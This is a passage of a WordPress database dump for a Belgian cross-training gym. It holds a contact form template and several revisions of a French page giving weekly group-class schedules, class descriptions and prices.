'http://www.crosstrainingcenter.be/?p=210', 0, 'revision', '', 0),
(257, 1, '2013-07-03 20:20:19', '2013-07-03 20:20:19', '&lt;p&gt;Votre nom (obligatoire)&lt;br /&gt;\r\n    [text* your-name] &lt;/p&gt;\r\n\r\n&lt;p&gt;Votre email (obligatoire)&lt;br /&gt;\r\n    [email* your-email] &lt;/p&gt;\r\n\r\n&lt;p&gt;Sujet&lt;br /&gt;\r\n    [text your-subject] &lt;/p&gt;\r\n\r\n&lt;p&gt;Votre message&lt;br /&gt;\r\n    [textarea your-message] &lt;/p&gt;\r\n\r\n[captchac captcha-712]\r\n&lt;p&gt;Veuillez recopier les caractères ci-dessus&lt;br /&gt;\r\n[captchar captcha-712]&lt;/p&gt;\r\n\r\n&lt;p&gt;[submit \&quot;Send\&quot;]&lt;/p&gt;\n[your-subject]\n[your-name] &lt;[your-email]&gt;\nFrom: [your-name] &lt;[your-email]&gt;\r\nSubject: [your-subject]\r\n\r\nMessage Body:\r\n[your-message]\r\n\r\n--\r\nThis e-mail was sent from a contact form on Cross Training Center (http://www.crosstrainingcenter.be)\njuliepierrard@hotmail.com\n\n\n\n\n[your-subject]\n[your-name] &lt;[your-email]&gt;\nFrom: [your-name] &lt;[your-email]&gt;\r\nSubject: [your-subject]\r\n\r\nMessage Body:\r\n[your-message]\r\n\r\n--\r\nThis e-mail was sent from a contact form on Cross Training Center (http://www.crosstrainingcenter.be)\nstv@otvr.net\n\n\n\nYour message was sent successfully. Thanks.\nFailed to send your message. Please try later or contact the administrator by another method.\nValidation errors occurred. Please confirm the fields and submit it again.\nFailed to send your message. Please try later or contact the administrator by another method.\nPlease accept the terms to proceed.\nPlease fill the required field.\nYour entered code is incorrect.\nNumber format seems invalid.\nThis number is too small.\nThis number is too large.\nEmail address seems invalid.\nURL seems invalid.\nTelephone number seems invalid.\nFailed to upload file.\nThis file type is not allowed.\nThis file is too large.\nFailed to upload file. Error occurred.\nYour answer is not correct.\nDate format seems invalid.\nThis date is too early.\nThis date is too late.', 'Contact form 1', '', 'publish', 'open', 'open', '', 'contact-form-1', '', '', '2014-07-02 14:30:52', '2014-07-02 14:30:52', '', 0, 'http://www.crosstrainingcenter.be/?post_type=wpcf7_contact_form&amp;#038;p=257', 0, 'wpcf7_contact_form', '', 0),
(211, 1, '2013-07-03 18:21:18', '2013-07-03 18:21:18', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;br&gt;&lt;br&gt;&lt;br&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;br&gt;&lt;br&gt;&lt;br&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;br&gt;&lt;br&gt;&lt;br&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 18:21:18', '2013-07-03 18:21:18', '', 11, 'http://www.crosstrainingcenter.be/?p=211', 0, 'revision', '', 0),
(213, 1, '2013-07-03 18:23:10', '2013-07-03 18:23:10', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 18:23:10', '2013-07-03 18:23:10', '', 11, 'http://www.crosstrainingcenter.be/?p=213', 0, 'revision', '', 0),
(212, 1, '2013-07-03 18:22:23', '2013-07-03 18:22:23', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;p&gt;&lt;/p&gt;\r\n&lt;p&gt;&lt;/p&gt;\r\n&lt;p&gt;&lt;/p&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;p&gt;&lt;/p&gt;\r\n&lt;p&gt;&lt;/p&gt;\r\n&lt;p&gt;&lt;/p&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;p&gt;&lt;/p&gt;\r\n&lt;p&gt;&lt;/p&gt;\r\n&lt;p&gt;&lt;/p&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching 